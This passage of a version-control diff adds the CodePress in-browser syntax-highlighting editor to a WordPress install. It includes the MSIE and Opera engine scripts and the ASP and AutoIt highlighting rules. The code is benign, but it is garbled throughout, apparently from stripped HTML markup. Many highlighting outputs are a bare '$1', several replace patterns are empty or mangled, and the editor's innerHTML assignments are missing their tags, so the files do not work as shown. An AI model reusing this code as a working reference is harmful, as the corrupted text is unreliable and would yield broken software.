this.history[this.pos] = editor.innerHTML; + } + this.pos --; + if(typeof(this.history[this.pos])=='undefined') this.pos ++; + editor.innerHTML = this.history[this.pos]; + if(editor.innerHTML.indexOf(cc)>-1) editor.innerHTML+=cc; + CodePress.findString(); + }, + + redo : function() { + // editor = CodePress.getEditor(); + this.pos++; + if(typeof(this.history[this.pos])=='undefined') this.pos--; + editor.innerHTML = this.history[this.pos]; + CodePress.findString(); + }, + + next : function() { // get next vector position and clean old ones + if(this.pos>20) this.history[this.pos-21] = undefined; + return ++this.pos; + } + } +} + +Language={}; +window.addEventListener('load', function() { CodePress.initialize('new'); }, true); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/engines/khtml.js diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/engines/msie.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/engines/msie.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,304 @@ +/* + * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/ + * + * Copyright (C) 2007 Fernando M.A.d.S. + * + * Developers: + * Fernando M.A.d.S. + * Michael Hurni + * Contributors: + * Martin D. Kirk + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU Lesser General Public License as published by the Free Software Foundation. + * + * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php + */ + +CodePress = { + scrolling : false, + autocomplete : true, + + // set initial vars and start sh + initialize : function() { + if(typeof(editor)=='undefined' && !arguments[0]) return; + chars = '|32|46|62|'; // charcodes that trigger syntax highlighting + cc = '\u2009'; // carret char + editor = document.getElementsByTagName('pre')[0]; + editor.contentEditable = 'true'; + document.getElementsByTagName('body')[0].onfocus = function() {editor.focus();} + document.attachEvent('onkeydown', this.metaHandler); + document.attachEvent('onkeypress', this.keyHandler); + window.attachEvent('onscroll', function() { if(!CodePress.scrolling) setTimeout(function(){CodePress.syntaxHighlight('scroll')},1)}); + completeChars = this.getCompleteChars(); + completeEndingChars = this.getCompleteEndingChars(); + setTimeout(function() { window.scroll(0,0) },50); // scroll IE to top + }, + + // treat key bindings + keyHandler : function(evt) { + charCode = evt.keyCode; + fromChar = String.fromCharCode(charCode); + + if( (completeEndingChars.indexOf('|'+fromChar+'|')!= -1 || completeChars.indexOf('|'+fromChar+'|')!=-1 )&& CodePress.autocomplete) { // auto complete + if(!CodePress.completeEnding(fromChar)) + CodePress.complete(fromChar); + } + else if(chars.indexOf('|'+charCode+'|')!=-1||charCode==13) { // syntax highlighting + CodePress.syntaxHighlight('generic'); + } + }, + + metaHandler : function(evt) { + keyCode = evt.keyCode; + + if(keyCode==9 || evt.tabKey) { + CodePress.snippets(); + } + else if((keyCode==122||keyCode==121||keyCode==90) && evt.ctrlKey) { // undo and redo + (keyCode==121||evt.shiftKey) ? CodePress.actions.redo() : CodePress.actions.undo(); + evt.returnValue = false; + } + else if(keyCode==34||keyCode==33) { // handle page up/down for IE + self.scrollBy(0, (keyCode==34) ? 200 : -200); + evt.returnValue = false; + } + else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed + CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML; + } + else if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && keyCode!=90) { // shortcuts = ctrl||appleKey+shift+key!=z(undo) + CodePress.shortcuts(keyCode); + evt.returnValue = false; + } + else if(keyCode==86 && evt.ctrlKey) { // handle paste + window.clipboardData.setData('Text',window.clipboardData.getData('Text').replace(/\t/g,'\u2008')); + top.setTimeout(function(){CodePress.syntaxHighlight('paste');},10); + } + else if(keyCode==67 && evt.ctrlKey) { // handle cut + // window.clipboardData.setData('Text',x[0]); + // code = window.clipboardData.getData('Text'); + } + }, + + // put cursor back to its original position after every parsing + + + findString : function() { + range = self.document.body.createTextRange(); + if(range.findText(cc)){ + range.select(); + range.text = ''; + } + }, + + // split big files, highlighting parts of it + split : function(code,flag) { + if(flag=='scroll') { + this.scrolling = true; + return code; + } + else { + this.scrolling = false; + mid = code.indexOf(cc); + if(mid-2000<0) {ini=0;end=4000;} + else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;} + else {ini=mid-2000;end=mid+2000;} + code = code.substring(ini,end); + return code.substring(code.indexOf('

    '),code.lastIndexOf('

    ')+4); + } + }, + + // syntax highlighting parser + syntaxHighlight : function(flag) { + if(flag!='init') document.selection.createRange().text = cc; + o = editor.innerHTML; + if(flag=='paste') { // fix pasted text + o = o.replace(/
    /g,'\r\n'); + o = o.replace(/\u2008/g,'\t'); + } + o = o.replace(/

    /g,'\n'); + o = o.replace(/<\/P>/g,'\r'); + o = o.replace(/<.*?>/g,''); + o = o.replace(/ /g,''); + o = '

    '+o+'

    '; + o = o.replace(/\n\r/g,'

    '); + o = o.replace(/\n/g,'

    '); + o = o.replace(/\r/g,'<\/P>'); + o = o.replace(/

    (

    )+/,'

    '); + o = o.replace(/<\/P>(<\/P>)+/,'

    '); + o = o.replace(/

    <\/P>/g,'


    '); + x = z = this.split(o,flag); + + if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]); + + for(i=0;i/g,'>'); + if(content.indexOf('$0')<0) content += cc; + else content = content.replace(/\$0/,cc); + content = content.replace(/\n/g,'

    '); + var pattern = new RegExp(trigger+cc,"gi"); + this.syntaxHighlight('snippets',pattern,content); + } + } + }, + + readOnly : function() { + editor.contentEditable = (arguments[0]) ? 'false' : 'true'; + }, + + complete : function(trigger) { + var complete = Language.complete; + for (var i=0; i/g,'\n'); + code = code.replace(/<\/p>/gi,'\r'); + code = code.replace(/

    /i,''); // IE first line fix + code = code.replace(/

    /gi,'\n'); + code = code.replace(/ /gi,''); + code = code.replace(/\u2009/g,''); + code = code.replace(/<.*?>/g,''); + code = code.replace(/</g,'<'); + code = code.replace(/>/g,'>'); + code = code.replace(/&/gi,'&'); + return code; + }, + + // put code inside editor + setCode : function() { + var code = arguments[0]; + code = code.replace(/\u2009/gi,''); + code = code.replace(/&/gi,'&'); + code = code.replace(//g,'>'); + editor.innerHTML = '

    '+code+'
    '; + }, + + + // undo and redo methods + actions : { + pos : -1, // actual history position + history : [], // history vector + + undo : function() { + if(editor.innerHTML.indexOf(cc)==-1){ + document.selection.createRange().text = cc; + this.history[this.pos] = editor.innerHTML; + } + this.pos--; + if(typeof(this.history[this.pos])=='undefined') this.pos++; + editor.innerHTML = this.history[this.pos]; + CodePress.findString(); + }, + + redo : function() { + this.pos++; + if(typeof(this.history[this.pos])=='undefined') this.pos--; + editor.innerHTML = this.history[this.pos]; + CodePress.findString(); + }, + + next : function() { // get next vector position and clean old ones + if(this.pos>20) this.history[this.pos-21] = undefined; + return ++this.pos; + } + } +} + +Language={}; +window.attachEvent('onload', function() { CodePress.initialize('new');}); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/engines/older.js diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/engines/opera.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/engines/opera.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,260 @@ +/* + * CodePress - Real Time Syntax Highlighting Editor written in JavaScript - http://codepress.org/ + * + * Copyright (C) 2007 Fernando M.A.d.S. + * + * Contributors : + * + * Michael Hurni + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU Lesser General Public License as published by the Free Software Foundation. + * + * Read the full licence: http://www.opensource.org/licenses/lgpl-license.php + */ + + +CodePress = { + scrolling : false, + autocomplete : true, + + // set initial vars and start sh + initialize : function() { + if(typeof(editor)=='undefined' && !arguments[0]) return; + chars = '|32|46|62|'; // charcodes that trigger syntax highlighting + cc = '\u2009'; // control char + editor = document.getElementsByTagName('body')[0]; + document.designMode = 'on'; + document.addEventListener('keyup', this.keyHandler, true); + window.addEventListener('scroll', function() { if(!CodePress.scrolling) CodePress.syntaxHighlight('scroll') }, false); + completeChars = this.getCompleteChars(); +// CodePress.syntaxHighlight('init'); + }, + + // treat key bindings + keyHandler : function(evt) { + keyCode = evt.keyCode; + charCode = evt.charCode; + + if((evt.ctrlKey || evt.metaKey) && evt.shiftKey && charCode!=90) { // shortcuts = ctrl||appleKey+shift+key!=z(undo) + CodePress.shortcuts(charCode?charCode:keyCode); + } + else if(completeChars.indexOf('|'+String.fromCharCode(charCode)+'|')!=-1 && CodePress.autocomplete) { // auto complete + CodePress.complete(String.fromCharCode(charCode)); + } + else if(chars.indexOf('|'+charCode+'|')!=-1||keyCode==13) { // syntax highlighting + CodePress.syntaxHighlight('generic'); + } + else if(keyCode==9 || evt.tabKey) { // snippets activation (tab) + CodePress.snippets(evt); + } + else if(keyCode==46||keyCode==8) { // save to history when delete or backspace pressed + CodePress.actions.history[CodePress.actions.next()] = editor.innerHTML; + } + else if((charCode==122||charCode==121||charCode==90) && evt.ctrlKey) { // undo and redo + (charCode==121||evt.shiftKey) ? CodePress.actions.redo() : CodePress.actions.undo(); + evt.preventDefault(); + } + else if(keyCode==86 && evt.ctrlKey) { // paste + // TODO: pasted text should be parsed and highlighted + } + }, + + // put cursor back to its original position after every parsing + findString : function() { + var sel = window.getSelection(); + var range = window.document.createRange(); + var span = window.document.getElementsByTagName('span')[0]; + + range.selectNode(span); + sel.removeAllRanges(); + sel.addRange(range); + span.parentNode.removeChild(span); + //if(self.find(cc)) + //window.getSelection().getRangeAt(0).deleteContents(); + }, + + // split big files, highlighting parts of it + split : function(code,flag) { + if(flag=='scroll') { + this.scrolling = true; + return code; + } + else { + this.scrolling = false; + mid = code.indexOf(''); + if(mid-2000<0) {ini=0;end=4000;} + else if(mid+2000>code.length) {ini=code.length-4000;end=code.length;} + else {ini=mid-2000;end=mid+2000;} + code = code.substring(ini,end); + return code; + } + }, + + // syntax highlighting parser + syntaxHighlight : function(flag) { + //if(document.designMode=='off') document.designMode='on' + if(flag!='init') { + var span = document.createElement('span'); + window.getSelection().getRangeAt(0).insertNode(span); + } + + o = editor.innerHTML; +// o = o.replace(/
    /g,'\r\n'); +// o = o.replace(/<(b|i|s|u|a|em|tt|ins|big|cite|strong)?>/g,''); + //alert(o) + o = o.replace(/<(?!span|\/span|br).*?>/gi,''); +// alert(o) +// x = o; + x = z = this.split(o,flag); + //alert(z) +// x = x.replace(/\r\n/g,'
    '); + x = x.replace(/\t/g, ' '); + + + if(arguments[1]&&arguments[2]) x = x.replace(arguments[1],arguments[2]); + + for(i=0;i/g,'>'); + if(content.indexOf('$0')<0) content += cc; + else content = content.replace(/\$0/,cc); + content = content.replace(/\n/g,'
    '); + var pattern = new RegExp(trigger+cc,'gi'); + evt.preventDefault(); // prevent the tab key from being added + this.syntaxHighlight('snippets',pattern,content); + } + } + }, + + readOnly : function() { + document.designMode = (arguments[0]) ? 'off' : 'on'; + }, + + complete : function(trigger) { + window.getSelection().getRangeAt(0).deleteContents(); + var complete = Language.complete; + for (var i=0; i/g,'\n'); + code = code.replace(/\u2009/g,''); + code = code.replace(/<.*?>/g,''); + code = code.replace(/</g,'<'); + code = code.replace(/>/g,'>'); + code = code.replace(/&/gi,'&'); + return code; + }, + + // put code inside editor + setCode : function() { + var code = arguments[0]; + code = code.replace(/\u2009/gi,''); + code = code.replace(/&/gi,'&'); + code = code.replace(//g,'>'); + editor.innerHTML = code; + }, + + // undo and redo methods + actions : { + pos : -1, // actual history position + history : [], // history vector + + undo : function() { + if(editor.innerHTML.indexOf(cc)==-1){ + window.getSelection().getRangeAt(0).insertNode(document.createTextNode(cc)); + this.history[this.pos] = editor.innerHTML; + } + this.pos--; + if(typeof(this.history[this.pos])=='undefined') this.pos++; + editor.innerHTML = this.history[this.pos]; + CodePress.findString(); + }, + + redo : function() { + this.pos++; + if(typeof(this.history[this.pos])=='undefined') this.pos--; + editor.innerHTML = this.history[this.pos]; + CodePress.findString(); + }, + + next : function() { // get next vector position and clean old ones + if(this.pos>20) this.history[this.pos-21] = undefined; + return ++this.pos; + } + } +} + +Language={}; +window.addEventListener('load', function() { CodePress.initialize('new'); }, true); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/images/line-numbers.png Binary file web/wp-includes/js/codepress/images/line-numbers.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/asp.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/asp.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,71 @@ +/* + * CodePress color styles for ASP-VB syntax highlighting + * By Martin D. Kirk + */ +/* tags */ + +b { + color:#000080; +} +/* comments */ +big, big b, big em, big ins, big s, strong i, strong i b, strong i s, strong i u, strong i a, strong i a u, strong i s u { + color:gray; + font-weight:normal; +} +/* ASP comments */ +strong dfn, strong dfn a,strong dfn var, strong dfn a u, strong dfn u{ + color:gray; + font-weight:normal; +} + /* attributes */ +s, s b, span s u, span s cite, strong span s { + color:#5656fa ; + font-weight:normal; +} + /* strings */ +strong s,strong s b, strong s u, strong s cite { + color:#009900; + font-weight:normal; +} +strong ins{ + color:#000000; + font-weight:bold; +} + /* Syntax */ +strong a, strong a u { + color:#0000FF; + font-weight:; +} + /* Native Keywords */ +strong u { + color:#990099; + font-weight:bold; +} +/* Numbers */ +strong var{ + color:#FF0000; +} +/* ASP Language */ +span{ + color:#990000; + font-weight:bold; +} +strong i,strong a i, strong u i { + color:#009999; +} +/* style */ +em { + color:#800080; + font-style:normal; +} + /* script */ +ins { + color:#800000; + font-weight:bold; +} + +/* */ +cite, s cite { + color:red; + font-weight:bold; +} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/asp.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/asp.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,117 @@ +/* + * CodePress regular expressions for ASP-vbscript syntax highlighting + */ + +// ASP VBScript +Language.syntax = [ +// all tags + { input : /(<[^!%|!%@]*?>)/g, output : '$1' }, +// style tags + { input : /(<style.*?>)(.*?)(<\/style>)/g, output : '$1$2$3' }, +// script tags + { input : /(<script.*?>)(.*?)(<\/script>)/g, output : '$1$2$3' }, +// strings "" and attributes + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : '"$1$2' }, +// ASP Comment + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2'}, +// <%.* + { input : /(<%)/g, output : '$1' }, +// .*%> + { input : /(%>)/g, output : '$1' }, +// <%@...%> + { input : /(<%@)(.+?)(%>)/gi, output : '$1$2$3' }, +//Numbers + { input : /\b([\d]+)\b/g, output : '$1' }, +// Reserved Words 1 (Blue) + { input : /\b(And|As|ByRef|ByVal|Call|Case|Class|Const|Dim|Do|Each|Else|ElseIf|Empty|End|Eqv|Exit|False|For|Function)\b/gi, output : '$1' }, + { input : /\b(Get|GoTo|If|Imp|In|Is|Let|Loop|Me|Mod|Enum|New|Next|Not|Nothing|Null|On|Option|Or|Private|Public|ReDim|Rem)\b/gi, output : '$1' }, + { input : /\b(Resume|Select|Set|Stop|Sub|Then|To|True|Until|Wend|While|With|Xor|Execute|Randomize|Erase|ExecuteGlobal|Explicit|step)\b/gi, output : '$1' }, +// Reserved Words 2 (Purple) + { input : /\b(Abandon|Abs|AbsolutePage|AbsolutePosition|ActiveCommand|ActiveConnection|ActualSize|AddHeader|AddNew|AppendChunk)\b/gi, output : '$1' }, + { input : /\b(AppendToLog|Application|Array|Asc|Atn|Attributes|BeginTrans|BinaryRead|BinaryWrite|BOF|Bookmark|Boolean|Buffer|Byte)\b/gi, output : '$1' }, + { input : /\b(CacheControl|CacheSize|Cancel|CancelBatch|CancelUpdate|CBool|CByte|CCur|CDate|CDbl|Charset|Chr|CInt|Clear)\b/gi, output : '$1' }, + { input : /\b(ClientCertificate|CLng|Clone|Close|CodePage|CommandText|CommandType|CommandTimeout|CommitTrans|CompareBookmarks|ConnectionString|ConnectionTimeout)\b/gi, output : '$1' }, + { input : /\b(Contents|ContentType|Cookies|Cos|CreateObject|CreateParameter|CSng|CStr|CursorLocation|CursorType|DataMember|DataSource|Date|DateAdd|DateDiff)\b/gi, output : '$1' }, + { input : /\b(DatePart|DateSerial|DateValue|Day|DefaultDatabase|DefinedSize|Delete|Description|Double|EditMode|Eof|EOF|err|Error)\b/gi, output : '$1' }, + { input : /\b(Exp|Expires|ExpiresAbsolute|Filter|Find|Fix|Flush|Form|FormatCurrency|FormatDateTime|FormatNumber|FormatPercent)\b/gi, output : '$1' }, + { input : /\b(GetChunk|GetLastError|GetRows|GetString|Global|HelpContext|HelpFile|Hex|Hour|HTMLEncode|IgnoreCase|Index|InStr|InStrRev)\b/gi, output : '$1' }, + { input : /\b(Int|Integer|IsArray|IsClientConnected|IsDate|IsolationLevel|Join|LBound|LCase|LCID|Left|Len|Lock|LockType|Log|Long|LTrim)\b/gi, output : '$1' }, + { input : /\b(MapPath|MarshalOptions|MaxRecords|Mid|Minute|Mode|Month|MonthName|Move|MoveFirst|MoveLast|MoveNext|MovePrevious|Name|NextRecordset)\b/gi, output : '$1' }, + { input : /\b(Now|Number|NumericScale|ObjectContext|Oct|Open|OpenSchema|OriginalValue|PageCount|PageSize|Pattern|PICS|Precision|Prepared|Property)\b/gi, output : '$1' }, + { input : /\b(Provider|QueryString|RecordCount|Redirect|RegExp|Remove|RemoveAll|Replace|Requery|Request|Response|Resync|Right|Rnd)\b/gi, output : '$1' }, + { input : /\b(RollbackTrans|RTrim|Save|ScriptTimeout|Second|Seek|Server|ServerVariables|Session|SessionID|SetAbort|SetComplete|Sgn)\b/gi, output : '$1' }, + { input : /\b(Sin|Size|Sort|Source|Space|Split|Sqr|State|StaticObjects|Status|StayInSync|StrComp|String|StrReverse|Supports|Tan|Time)\b/gi, output : '$1' }, + { input : /\b(Timeout|Timer|TimeSerial|TimeValue|TotalBytes|Transfer|Trim|Type|Type|UBound|UCase|UnderlyingValue|UnLock|Update|UpdateBatch)\b/gi, output : '$1' }, + { input : /\b(URLEncode|Value|Value|Version|Weekday|WeekdayName|Write|Year)\b/gi, output : '$1' }, +// Reserved Words 3 (Turquis) + { input : /\b(vbBlack|vbRed|vbGreen|vbYellow|vbBlue|vbMagenta|vbCyan|vbWhite|vbBinaryCompare|vbTextCompare)\b/gi, output : '$1' }, + { input : /\b(vbSunday|vbMonday|vbTuesday|vbWednesday|vbThursday|vbFriday|vbSaturday|vbUseSystemDayOfWeek)\b/gi, output : '$1' }, + { input : /\b(vbFirstJan1|vbFirstFourDays|vbFirstFullWeek|vbGeneralDate|vbLongDate|vbShortDate|vbLongTime|vbShortTime)\b/gi, output : '$1' }, + { input : /\b(vbObjectError|vbCr|VbCrLf|vbFormFeed|vbLf|vbNewLine|vbNullChar|vbNullString|vbTab|vbVerticalTab|vbUseDefault|vbTrue)\b/gi, output : '$1' }, + { input : /\b(vbFalse|vbEmpty|vbNull|vbInteger|vbLong|vbSingle|vbDouble|vbCurrency|vbDate|vbString|vbObject|vbError|vbBoolean|vbVariant)\b/gi, output : '$1' }, + { input : /\b(vbDataObject|vbDecimal|vbByte|vbArray)\b/gi, output : '$1' }, +// html comments + { input : /(<!--.*?-->.)/g, output : '$1' } +] + +Language.Functions = [ + // Output at index 0, must be the desired tagname surrounding a $1 + // Name is the index from the regex that marks the functionname + {input : /(function|sub)([ ]*?)(\w+)([ ]*?\()/gi , output : '$1', name : '$3'} +] + +Language.snippets = [ +//Conditional + { input : 'if', output : 'If $0 Then\n\t\nEnd If' }, + { input : 'ifelse', output : 'If $0 Then\n\t\n\nElse\n\t\nEnd If' }, + { input : 'case', output : 'Select Case $0\n\tCase ?\n\tCase Else\nEnd Select'}, +//Response + { input : 'rw', output : 'Response.Write( $0 )' }, + { input : 'resc', output : 'Response.Cookies( $0 )' }, + { input : 'resb', output : 'Response.Buffer'}, + { input : 'resflu', output : 'Response.Flush()'}, + { input : 'resend', output : 'Response.End'}, +//Request + { input : 'reqc', output : 'Request.Cookies( $0 )' }, + { input : 'rq', output : 'Request.Querystring("$0")' }, + { input : 'rf', output : 'Request.Form("$0")' }, +//FSO + { input : 'fso', output : 'Set fso = Server.CreateObject("Scripting.FileSystemObject")\n$0' }, + { input : 'setfo', output : 'Set fo = fso.getFolder($0)' }, + { input : 'setfi', output : 'Set fi = fso.getFile($0)' }, + { input : 'twr', output : 'Set f = fso.CreateTextFile($0,true)\'overwrite\nf.WriteLine()\nf.Close'}, + { input : 'tre', output : 'Set f = fso.OpenTextFile($0, 1)\nf.ReadAll\nf.Close'}, +//Server + { input : 'mapp', output : 'Server.Mappath($0)' }, +//Loops + { input : 'foreach', output : 'For Each $0 in ?\n\t\nNext' }, + { input : 'for', output : 'For $0 to ? step ?\n\t\nNext' }, + { input : 'do', output : 'Do While($0)\n\t\nLoop' }, + { input : 'untilrs', output : 'do until rs.eof\n\t\nrs.movenext\nloop' }, +//ADO + { input : 'adorec', output : 'Set rs = Server.CreateObject("ADODB.Recordset")' }, + { input : 'adocon', output : 'Set Conn = Server.CreateObject("ADODB.Connection")' }, + { input : 'adostr', output : 'Set oStr = Server.CreateObject("ADODB.Stream")' }, +//Http Request + { input : 'xmlhttp', output : 'Set xmlHttp = Server.CreateObject("Microsoft.XMLHTTP")\nxmlHttp.open("GET", $0, false)\nxmlHttp.send()\n?=xmlHttp.responseText' }, + { input : 'xmldoc', output : 'Set xmldoc = Server.CreateObject("Microsoft.XMLDOM")\nxmldoc.async=false\nxmldoc.load(request)'}, +//Functions + { input : 'func', output : 'Function $0()\n\t\n\nEnd Function'}, + { input : 'sub', output : 'Sub $0()\n\t\nEnd Sub'} + +] + +Language.complete = [ + //{ input : '\'', output : '\'$0\'' }, + { input : '"', output : '"$0"' }, + { input : '(', output : '\($0\)' }, + { input : '[', output : '\[$0\]' }, + { input : '{', output : '{\n\t$0\n}' } +] + +Language.shortcuts = [ + { input : '[space]', output : ' ' }, + { input : '[enter]', output : '
    ' } , + { input : '[j]', output : 'testing' }, + { input : '[7]', output : '&' } +] \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/autoit.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/autoit.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,13 @@ +/** + * CodePress color styles for AutoIt syntax highlighting + */ + +u {font-style:normal;color:#000090;font-weight:bold;font-family:Monospace;} +var {color:#AA0000;font-weight:bold;font-style:normal;} +em {color:#FF33FF;} +ins {color:#AC00A9;} +i {color:#F000FF;} +b {color:#FF0000;} +a {color:#0080FF;font-weight:bold;} +s, s u, s b {color:#9999CC;font-weight:normal;} +cite, cite *{color:#009933;font-weight:normal;} \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/codepress/languages/autoit.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/codepress/languages/autoit.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +/** + * CodePress regular expressions for AutoIt syntax highlighting + * @author: James Brooks, Michael HURNI + */ + +// AutoIt +Language.syntax = [ + { input : /({|}|\(|\))/g, output : '$1' }, // Brackets + { input : /(\*|\+|-)/g, output : '$1' }, // Operator + { input : /\"(.*?)(\"|
    |<\/P>)/g, output : "\"$1$2" }, // strings double + { input : /\'(.*?)(\'|
    |<\/P>)/g, output : '\'$1$2' }, // strings single + { input : /\b([\d]+)\b/g, output : '$1' }, // Numbers + { input : /#(.*?)(
    |<\/P>)/g, output : '#$1$2' }, // Directives and Includes + { input : /(\$[\w\.]*)/g, output : '$1' }, // vars + { input : /(_[\w\.]*)/g, output : '$1' }, // underscored word + { input : /(\@[\w\.]*)/g, output : '$1' }, // Macros + { input : /\b(Abs|ACos|AdlibDisable|AdlibEnable|Asc|AscW|ASin|Assign|ATan|AutoItSetOption|AutoItWinGetTitle|AutoItWinSetTitle|Beep|Binary|BinaryLen|BinaryMid|BinaryToString|BitAND|BitNOT|BitOR|BitSHIFT|BitXOR|BlockInput|Break|Call|CDTray|Ceiling|Chr|ChrW|ClipGet|ClipPut|ConsoleRead|ConsoleWrite|ConsoleWriteError|ControlClick|ControlCommand|ControlDisable|ControlEnable|ControlFocus|ControlGetFocus|ControlGetHandle|ControlGetPos|ControlGetText|ControlHide|ControlListView|ControlMove|ControlSend|ControlSetText|ControlShow|Cos|Dec|DirCopy|DirCreate|DirGetSize|DirMove|DirRemove|DllCall|DllCall|DllClose|DllOpen|DllStructCreate|DllStructGetData|DllStructGetPtr|DllStructGetSize|DllStructSetData|DriveGetDrive|DriveGetFileSystem|DriveGetLabel|DriveGetSerial|DriveGetType|DriveMapAdd|DriveMapDel|DriveMapGet|DriveSetLabel|DriveSpaceFree|DriveSpaceTotal|DriveStatus|EnvGet|EnvSet|EnvUpdate|Eval|Execute|Exp|FileChangeDir|FileClose|FileCopy|FileCreateNTFS|FileCreateShortcut|FileDelete|FileExists|FileFindFirstFile|FileFindNextFile|FileGetAttrib|FileGetLongName|FileGetShortcut|FileGetShortName|FileGetSize|FileGetTime|FileGetVersion|FileInstall|FileMove|FileOpen|FileOpenDialog|FileRead|FileReadLine|FileRecycle|FileRecycleEmpty|FileSaveDialog|FileSelectFolder|FileSetAttrib|FileSetTime|FileWrite|FileWriteLine|Floor|FtpSetProxy|GuiCreate|GuiCtrlCreateAvi|GuiCtrlCreateButton|GuiCtrlCreateCheckbox|GuiCtrlCreateCombo|GuiCtrlCreateContextMenu|GuiCtrlCreateDate|GuiCtrlCreateDummy|GuiCtrlCreateEdit|GuiCtrlCreateGraphic|GuiCtrlCreateGroup|GuiCtrlCreateIcon|GuiCtrlCreateInput|GuiCtrlCreateLabel|GuiCtrlCreateList|GuiCtrlCreateListView|GuiCtrlCreateListViewItem|GuiCtrlCreateMenu|GuiCtrlCreateMenuItem|GuiCtrlCreateMonthCal|GuiCtrlCreateObj|GuiCtrlCreatePic|GuiCtrlCreateProgress|GuiCtrlCreateRadio|GuiCtrlCreateSlider|GuiCtrlCreateTab|GuiCtrlCreateTabItem|GuiCtrlCreateUpdown|GuiCtrlDelete|GuiCtrlGetHandle|GuiCtrlGetState|GuiCtrlRead|GuiCtrlRecvMsg|GuiCtrlSentMsg|GuiCtrlSendToDummy|GuiCtrlSetBkColor|GuiCtrlSetColor|GuiCtrlSetCursor|GuiCtrlSetData|GuiCtrlSetFont|GuiCtrlSetGraphic|GuiCtrlSetImage|GuiCtrlSetLimit|GuiCtrlSetOnEvent|GuiCtrlSetPos|GuiCtrlResizing|GuiCtrlSetState|GuiCtrlSetTip|GuiDelete|GuiGetCursorInfo|GuiGetMsg|GuiGetStyle|GuiRegisterMsg|GuiSetBkColor|GuiSetCoord|GuiSetCursor|GuiSetFont|GuiSetHelp|GuiSetIcon|GuiSetOnEvent|GuiSetStat|GuiSetStyle|GuiStartGroup|GuiSwitch|Hex|HotKeySet|HttpSetProxy|HWnd|InetGet|InetGetSize|IniDelete|IniRead|IniReadSection|IniReadSectionNames|IniRenameSection|IniWrite|IniWriteSection|InputBox|Int|IsAdmin|IsArray|IsBinary|IsBool|IsDeclared|IsDllStruct|IsFloat|IsHWnd|IsInt|IsKeyword|IsNumber|IsObj|IsString|Log|MemGetStats|Mod|MouseClick|MouseClickDrag|MouseDown|MouseGetCursor|MouseGetPos|MouseMove|MouseUp|MouseWheel|MsgBox|Number|ObjCreate|ObjEvent|ObjGet|ObjName|Ping|PixelCheckSum|PixelGetColor|PixelSearch|ProcessClose|ProcessExists|ProcessList|ProcessSetPriority|ProcessWait|ProcessWaitClose|ProgressOff|ProcessOn|ProgressSet|Random|RegDelete|RegEnumKey|RegEnumVal|RegRead|RegWrite|Round|Run|RunAsSet|RunWait|Send|SetError|SetExtended|ShellExecute|ShellExecuteWait|Shutdown|Sin|Sleep|SoundPlay|SoundSetWaveVolume|SplashImageOn|SplashOff|SplashTextOn|Sqrt|SRandom|StatusbarGetText|StderrRead|StdinWrite|StdoutRead|String|StringAddCR|StringCompare|StringFormat|StringInStr|StringIsAlNum|StringIsAlpha|StringIsASCII|StringIsDigit|StringIsFloat|StringIsInt|StringIsLower|StringIsSpace|StringIsUpper|StringIsXDigit|StringLeft|StringLen|StringLower|StringMid|StringRegExp|StringRegExpReplace|StringReplace|StringRight|StringSplit|StringStripCR|StringStripWS|StringToBinary|StringTrimLeft|StringTrimRight|StringUpper|Tan|TCPAccept|TCPCloseSocket|TCPConnect|TCPListen|TCPNameToIP|TCPrecv|TCPSend|TCPShutdown|TCPStartup|TimerDiff|TimerInit|ToolTip|TrayCreateItem|TrayCreateMenu|TrayGetMenu|TrayGetMsg|TrayItemDelete|TrayItemGetHandle|TrayItemGetState|TrayItemGetText|TrayItemSetOnEvent|TrayItemSetState|TrayItemSetText|TraySetClick|TraySetIcon|TraySetOnEvent|TraySetPauseIcon|TraySetState|TraySetToolTip|TrayTip|UBound|UDPBind|UDPCloseSocket|UDPOpen|UDPRecv|UDPSend|WinActivate|WinActive|WinClose|WinExists|WinFlash|WinGetCaretPos|WinGetClassList|WinGetClientSize|WinGetHandle|WinGetPos|WinGetProcess|WinGetState|WinGetText|WinGetTitle|WinKill|WinList|WinMenuSelectItem|WinMinimizeAll|WinMinimizeAllUndo|WinMove|WinSetOnTop|WinSetState|WinSetTitle|WinSetTrans|WinWait|WinWaitActive|WinWaitClose|WinWaitNotActive)\b/g, output : '$1' } ,// reserved words + { input : /\B;(.*?)(
